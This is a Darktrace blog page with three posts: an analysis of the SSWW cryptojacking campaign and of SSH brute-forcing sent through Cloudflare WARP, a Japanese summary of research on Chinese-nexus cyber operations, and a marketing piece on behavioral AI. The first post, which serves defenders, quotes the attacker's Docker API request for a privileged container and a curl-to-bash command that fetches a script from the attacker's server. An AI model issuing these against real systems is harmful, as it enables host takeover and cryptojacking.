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July 17, 2024

WARPscan: Cloudflare WARP Abused to Hijack Cloud Services

Cado Security (now a part of Darktrace) found attackers are abusing Cloudflare's WARP service, a free VPN, to launch attacks. WARP traffic often bypasses firewalls due to Cloudflare's trusted status, making it harder to detect. Campaigns like "SSWW" cryptojacking and SSH brute-forcing exploit this trust, highlighting a significant security risk for organizations.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
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17
Jul 2024

Introduction: WARPscan

Researchers from Cado Security Labs (now part of Darktrace) have observed several recent campaigns making use of Cloudflare’s WARP[1] service in order to attack vulnerable internet-facing services. In this blog we will explain what Cloudflare WARP is, the implications for its use in opportunistic attacks, and provide a few case studies on real-world attacks taking advantage of WARP.

What is Cloudflare WARP?

Cloudflare WARP is effectively a Virtual Private Network (VPN) that uses Cloudflare’s international backbone to “optimize” user’s traffic. This is a free service, meaning anyone can download and use it for their own purposes. In practice, WARP just tunnels traffic to the nearest Cloudflare data center over a custom implementation of WireGuard, which they claim will speed up your connection.

Cloudflare WARP is designed to present the IP of the end user to Cloudflare CDN customers. However, attacks observed by Cado researchers exclusively connect directly to IP addresses rather than Cloudflare’s CDN, with the attacker in control of the transport and application layers. As such, it is not possible to determine the IP of the attackers.

Implications of attacks originating from WARP

Network administrators are far more likely to inherently trust or overlook traffic originating from Cloudflare’s ASN as it is not a common attack origin, and is often used in many organizations as a part of regular business operations. As a result of this, the IP ranges used by WARP may even be allowed in firewalls, and might be missed during triage of alerts by Security Operations Center (SOC) teams.

Cado Security has observed several threads on sysadmin forums, where network operators are advised to “allowlist” all of Cloudflare’s IP ranges instead of just those specific to a given service, which is a serious security risk that makes their infrastructure directly vulnerable to attackers using WARP to launch their attacks.

These factors make attacks using WARP potentially more dangerous unless an organization takes preventive action, such as educating security teams and ensuring WARP IP ranges are not included in Cloudflare related firewall rules.

Case study - SSWW mining campaign

The SSWW campaign is a novel cryptojacking campaign targeting exposed Docker which utilizes Cloudflare WARP for initial access. Based on the TLS certificate used by the C2 server, it would appear that the C2 was created on September 5, 2023. However, the first attack detected against Cado’s honeypot infrastructure was on February 21, 2024, which lines up with the dropped payload’s Last-Modified header of February 20, the day before. This is likely when the current campaign began.

IPv4 TCP (PA) 104.28.247.120:19736 -> redacted:2375 POST /containers/create 
HTTP/1.1 
Host: redacted:2375 
Accept-Encoding: identity 
User-Agent: Docker-Client/20.10.17 (linux) 
Content-Length: 245 
Content-Type: application/json 
{"Image": "61395b4c586da2b9b3b7ca903ea6a448e6783dfdd7f768ff2c1a0f3360aaba99", "Entrypoint": ["sleep", "3600"], "User": "root", "HostConfig": {"Binds": ["/:/h"], "NetworkMode": "host", "PidMode": "host", "Privileged": true, "UsernsMode": "host"}}  

The attack began with a container being created with elevated permissions, and access to the host. The image used is simply selected from images that are already available on the host, so the attacker does not have to download any new images.

The attacker then creates a Docker VND stream in order to run commands within the created container:

{"AttachStdout": true, "AttachStderr": true, "Privileged": true, "Cmd": ["chroot", "/h", "bash", "-c", "curl -k https://85[.]209.153.27:58282/ssww | bash"]}

This downloads the main SSWW script from the attacker’s command and control (C2) infrastructure and sets it running. The SSWW script is fairly straightforward and does the following set up tasks:

  • Attempts to stop “systemd” services that belong to competing miners.
  • Exits if the system is already infected by the SSWW campaign.
  • Disables “SELinux”.
  • Sets up huge pages and enables drop_caches, common XMRig optimizations
  • Downloads https://94[.]131.107.38:58282/sst, an XMRig miner with embedded config, and saves it as /var/spool/.system
  • Attempts to download and compile https://94[.]131.107.38:58282/phsd2.c, which is a simple off-the-shelf process hider designed to hide the .system process. If this fails, it will download https://94[.]131.107.38:58282/li instead. The resultant binary of either of these processes is saved to /usr/lib/libsystemd-shared-165.so
  • Adds the above to /etc/ld.so.preload such that it acts as a usermode rootkit.
  • Saves https://94[.]131.107.38:58282/aa82822, a SystemD unit file for running /var/spool/.system, to /lib/systemd/system/cdngdn.service, and then enables it.

The configuration file can be extracted out of the miner, and observe that it is using the wallet address:  44EP4MrMADSYSxmN7r2EERgqYBeB5EuJ3FBEzBrczBRZZFZ7cKotTR5airkvCm2uJ82nZHu8U3YXbDXnBviLj3er7XDnMhP on the monero ocean gulf mining pool. We can then use the mining pool’s wallet lookup feature to determine the attacker has made a total of 9.57 XMR (~£1269 at time of writing).

While using Cloudflare WARP affords the attacker a layer of anonymity, we can see the IPs the attacks originate from are consistently deriving from the Cloudflare data center in Zagreb, Croatia. As Cloudflare WARP will use the nearest data center, this suggests that the attacker’s scan server is located in Croatia. The C2 IPs on the other hand are hosted using a Netherlands-based VPS provider.

The main benefit to the attacker of using Cloudflare WARP is likely the relative anonymity afforded by WARP, as well as the reduced suspicion around traffic related to Cloudflare. It is possible that some improperly configured systems that allow all Cloudflare traffic have been compromised as a result of this, however, it is not possible to say with certainty without having access to all compromised hosts infected by the malware.

Case study - opportunistic SSH attacks

Since 2022, Cado Security has been tracking SSH attacks originating from WARP addresses. Initially these were fairly limited, however around the end of 2023 they surged to a few thousand per month. These frequently rise and fall with quite a high velocity, suggesting that the surges are the result of individual campaigns rather than a more general trend.

A screenshot of a graphAI-generated content may be incorrect.
Figure 1: SSH attacks originating from WARP addresses since the end of 2023

Interestingly, a number of SSH campaigns we have seen previously originating from commonly abused VPS providers now appear to have migrated to using Cloudflare WARP. As these VPS providers are soft on abuse, it is unlikely that the purpose of this was for anonymity. Instead, the attackers are likely trying to take advantage of Cloudflare’s “clean” IP ranges (many “dirty” ranges belonging to bulletproof hosting are blocklisted, e.g. by spamhaus [2]), as well as the higher likelihood of the Cloudflare ranges being overlooked or blindly allowed in the victim’s firewall.

All of the attacks seen so far from Cloudflare WARP appear to be simple SSH brute forcing attacks, however it is alleged that the recent CVE-2024-6387 is now being exploited in the wild [3]. An attacker could perform this exploit via Cloudflare WARP in order to take advantage of overly trusting firewalls to attack organizations that may not otherwise have the vulnerable SSH server exposed.

Conclusion

The main threat posed by attackers using Cloudflare’s WARP service is the inherent trust administrators may have in traffic originating from Cloudflare, and the dangerous advice to “allow all Cloudflare IPs” being circulated online. Ensure your organization has not granted permission for 104[.]28.0.0/16 in your firewall. Follow a defense in-depth approach and additionally ensure services such as SSH have strong authentication (via SSH keys instead of passwords) and are up-to-date. Do not expose Docker to the internet, even if it is behind a firewall.

References:

[1] https://one.one.one.one/

[2] https://www.spamhaus.org/blocklists/spamhaus-blocklist/

[3] https://veriti.ai/blog/regresshion-cve-2024-6387-a-targeted-exploit-in-the-wild/

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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April 16, 2026

中国系サイバー作戦の進化 - それはサイバーリスクおよびレジリエンスにとって何を意味するか

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サイバーセキュリティにおいては、これまではインシデント、侵害、キャンペーン、そして脅威グループを中心にリスクを整理してきました。これらの要素は現在も重要です -しかし個別のインシデントにとらわれていては、エコシステム全体の形成を見逃してしまう危険があります。国家が支援する攻撃者グループは、個別の攻撃を実行したり短期的な目標を達成したりするためだけではなく、サイバー作戦を長期的な戦略上の影響力を構築するために使用するようになっています。  

当社の最新の調査レポート、Crimson Echoにおいてもこうした状況にあわせて視点を変えています。キャンペーンやマルウェアファミリー、あるいはアクターのラベルを個別のイベントとして分類するのではなく、ダークトレースの脅威調査チームは中国系グループのアクティビティを長期的に連続した行動として分析しました。このように視野を拡大することで、これらの攻撃者がさまざまな環境内でどのように存在しているか、すなわち、静かに、辛抱強く、持続的に、そして多くのケースにおいて識別可能な「インシデント」が発生するかなり前から下準備をしている様子が明らかになりました。  

中国系サイバー脅威のこれまでの変化

中国系サイバーアクティビティは過去20年間において4つのフェーズで進化してきたと言えます。初期の、ボリュームを重視したオペレーションは1990年代にから2000年代初めに見られ、それが2010年代にはより構造化された、戦略に沿った活動となり、そして現在の高度な適応性を備えた、アイデンティティを中心とした侵入へと進化しています。  

現在のフェーズの特徴は、大規模、攻撃の自制、そして永続化です。攻撃者はアクセスを確立し、その戦略的価値を評価し、維持します。これはより全体的な変化を反映したものです。つまりサイバー作戦は長期的な経済的および地政学的戦略に組み込まれる傾向が強まっているということです。デジタル環境へのアクセス、特に国家の重要インフラやサプライチェーン、先端テクノロジーにつながるものは、ある種の長期的な戦略的影響力と見られるようになりました。  

複雑な問題に対するダークトレースのビヘイビア分析アプローチ

国家が支援するサイバーアクティビティを分析する際、難しい問題の1つはアトリビューションです。従来のアプローチは多くの場合、特定の脅威グループ、マルウェアファミリー、あるいはインフラに判定を依存していました。しかしこれらは絶えず変化するものであり、さらに中国系オペレーションの場合、しばしば重複が見られます。

Crimson Echo は2022年7月から2025年9月の間の3年間にDarktrace運用環境で観測された異常なアクティビティを回顧的に分析した結果です。ビヘイビア検知、脅威ハンティング、オープンソースインテリジェンス、および構造化されたアトリビューションフレームワーク(Darktrace Cybersecurity Attribution Framework)を用いて、数十件の中~高確度の事例を特定し、繰り返し発生しているオペレーションのパターンを分析しました。  

この長期的視野を持ったビヘイビア中心型アプローチにより、ダークトレースは侵入がどのように展開していくかについての一定のパターンを特定することができ、動作のパターンが重要であることがあらためて確認されました。  

データが示していること

分析からいくつかの明確な傾向が浮かび上がりました:

  • 標的は戦略的に重要なセクターに集中していたのです。データセット全体で、侵入の88%は重要インフラと分類される、輸送、重要製造業、政府、医療、ITサービスを含む組織で発生しています。   
  • 戦略的に重要な西側経済圏が主な焦点です。米国だけで、観測されたケースの22.5%を占めており、ドイツ、イタリア、スペイン、および英国を含めた主要なヨーロッパの経済圏と合わせると侵入の半数以上(55%)がこれらの地域に集中しています。  
  • 侵入の63%近くがインターネットに接続されたシステムのエクスプロイトから始まっており、外部に露出したインフラの持続的リスクがあらためて浮き彫りになりました。  

サイバー作戦の2つのモデル

データセット全体で、中国系のアクティビティは2つの作戦モデルに従っていることが確認されました。  

1つ目は“スマッシュアンドグラブ”(強奪)型と表現することができます。これらはスピードのために最適化された短期型の侵入です。攻撃者はすばやく動き  – しばしば48時間以内にデータを抜き出し  – ステルス性よりも規模を重視します。これらの侵害の期間の中央値は10日ほどです。検知の危険を冒しても短期的利益を得ようとしていることが明らかです。  

2つ目は“ローアンドスロー”(低速)型です。これらのオペレーションはデータセット内ではあまり多くありませんでしたが、潜在的影響はより重大です。ここでは攻撃者は持続性を重視し、アイデンティティシステムや正規の管理ツールを通じて永続的なアクセスを確立し、数か月間、場合によっては数年にわたって検知されないままアクセスを維持しようとします。1つの注目すべきケースでは、脅威アクターは環境に完全に侵入して永続性を確立し、600日以上経ってからようやく再浮上した例もありました。このようなオペレーションの一時停止は侵入の深さと脅威アクターの長期的な戦略的意図の両方を表しています。このことはサイバーアクセスが長期にわたって保有し活用するべき戦略的資産であることを示しており、これは最も戦略的に重要なセクターにおいて最もよく見られたパターンです。  

同じ作戦エコシステムにおいて両方のモデルを並行して利用し、標的の価値、緊急性、意図するアクセスに基づいて適切なモデルを選択することも可能だという点に注意することも重要です。“スマッシュアンドグラブ” モデルが見られたからといって諜報活動が失敗したとのみ解釈すべきではなく、むしろ目標に沿った作戦上の選択かもしれないと見るべきでしょう。“ローアンドスロー” 型は粘り強い活動のために最適化され、“スマッシュアンドグラブ” 型はスピードのために最適化されています。どちらも意図的な作戦上の選択と見られ、必ずしも能力を表していません。  

サイバーリスクを再考する

多くの組織にとって、サイバーリスクはいまだに一連の個別のイベントとして位置づけられています。何かが発生し、検知され、封じ込められ、組織はそれを乗り越えて前に進みます。しかし永続的アクセスは、特にクラウド、アイデンティティベースのSaaSやエージェント型システム、そして複雑なサプライチェーンネットワークが相互接続された環境では、重大な持続的露出リスクを作り出します。システムの中断やデータの流出が発生していなくても、そのアクセスによって業務や依存関係、そして戦略的意思決定についての情報を得られるかもしれません。サイバーリスクはますます長期的な競合情報収集に似てきています。

その影響はSOCだけの問題ではありません。組織はガバナンス、可視性、レジリエンスについての考え方を見直し、サイバー露出をインシデント対応の問題ではなく構造的なビジネスリスクとして扱う必要があります。  

次の目標

この調査の目的は、これらの脅威の仕組みについてより明確な理解を提供することにより、防御者がより早期にこれらを識別しより効果的に対応できるようにすることです。これには、インジケーターの追跡からビヘイビアの理解にシフトすること、アイデンティティプロバイダーを重要インフラリスクとして扱うこと、サプライヤーの監視を拡大すること、迅速な封じ込めのための能力に投資すること、などが含まれます。  

ダークトレースの最新調査、Crimson Echo: Understanding Chinese-nexus Cyber Operations Through Behavioral Analysisについてより詳しく知るには、ビジネスリーダー、CISO、SOCアナリストに向けたレポート全文およびサマリーを ここからダウンロードしてください。 

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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April 16, 2026

Why Behavioral AI Is the Answer to Mythos

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How AI is breaking the patch-and-prevent security model

The business world was upended last week by the news that Anthropic has developed a powerful new AI model, Claude Mythos, which poses unprecedented risk because of its ability to expose flaws in IT systems.  

Whether it’s Mythos or OpenAI’s GPT-5.4-Cyber, which was just announced on Tuesday, supercharged AI models in the hands of hackers will allow them to carry out attacks at machine speed, much faster than most businesses can stop them.  

This news underscores a stark reality for all leaders: Patching holes alone is not a sufficient control against modern cyberattacks. You must assume that your software is already vulnerable right now. And while LLMs are very good at spotting vulnerabilities, they’re pretty bad at reliably patching them.

Project Glasswing members say it could take months or years for patches to be applied. While that work is done, enterprises must be protected against Zero-Day attacks, or security holes that are still undiscovered.  

Most cybersecurity strategies today are built like a daily multivitamin: broad, preventative, and designed to keep the system generally healthy over time. Patch regularly. Update software. Reduce known vulnerabilities. It’s necessary, disciplined, and foundational. But it’s also built for a world where the risks are well known and defined, cycles are predictable, and exposure unfolds at a manageable pace.

What happens when that model no longer holds?

The AI cyber advantage: Behavioral AI

The vulnerabilities exposed by AI systems like Mythos aren’t the well-understood risks your “multivitamin” was designed to address. They are transient, fast-emerging entry points that exist just long enough to be exploited.

In that environment, prevention alone isn’t enough. You don’t need more vitamins—you need a painkiller. The future of cybersecurity won’t be defined by how well you maintain baseline health. It will be defined by how quickly you respond when something breaks and every second counts.

That’s why behavioral AI gives businesses a durable cyber advantage. Rather than trying to figure out what the attacker looks like, it learns what “normal” looks like across the digital ecosystem of each individual business.  

That’s exactly how behavioral AI works. It understands the self, or what's normal for the organization, and then it can spot deviations in from normal that are actually early-stage attacks.

The Darktrace approach to cybersecurity

At Darktrace, we’ve been defending our 10,000 customers using behavioral AI cybersecurity developed in our AI Research Centre in Cambridge, U.K.

Darktrace was built on the understanding that attacks do not arrive neatly labeled, and that the most damaging threats often emerge before signatures, indicators, or public disclosures can catch up.  

Our AI algorithms learn in real time from your personalized business data to learn what’s normal for every person and every asset, and the flows of data within your organization. By continuously understanding “normal” across your entire digital ecosystem, Darktrace identifies and contains threats emerging from unknown vulnerabilities and compromised supply chain dependencies, autonomously curtailing attacks at machine speed.  

Security for novel threats

Darktrace is built for a world where AI is not just accelerating attacks, but fundamentally reshaping how they originate. What makes our AI so unique is that it's proven time and again to identify cyber threats before public vulnerability disclosures, such as critical Ivanti vulnerabilities in 2025 and SAP NetWeaver exploitations tied to nation-state threat actors.  

As AI reshapes how vulnerabilities are found and exploited, cybersecurity must be anchored in something more durable than a list of known flaws. It requires a real-time understanding of the business itself: what belongs, what does not, and what must be stopped immediately.

What leaders should do right now

The leadership priority must shift accordingly.

First, stop treating unknown vulnerabilities as an edge case. AI‑driven discovery makes them the norm. Security programs built primarily around known flaws, signatures, and threat intelligence will always lag behind an attacker that is operating in real time.

Second, insist on an understanding of what is actually normal across the business. When threats are novel, labels are useless. The earliest and most reliable signal of danger is abnormal behavior—systems, users, or data flows that suddenly depart from what is expected. If you cannot see that deviation as it happens, you are effectively blind during the most critical window.

Finally, assume that the next serious incident will occur before remediation guidance is available. Ask what happens in those first minutes and hours. The organizations that maintain resilience are not the ones waiting for disclosure cycles to catch up—they are the ones that can autonomously identify and contain emerging threats as they unfold.

This is the reality of cybersecurity in an AI‑shaped world. Patching and prevention remain important foundations, but the advantage now belongs to those who can respond instantly when the unpredictable occurs.

Behavioral AI is security designed not just for known threats, but for the ones that AI will discover next.

[related-resource]

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Ed Jennings
President and CEO
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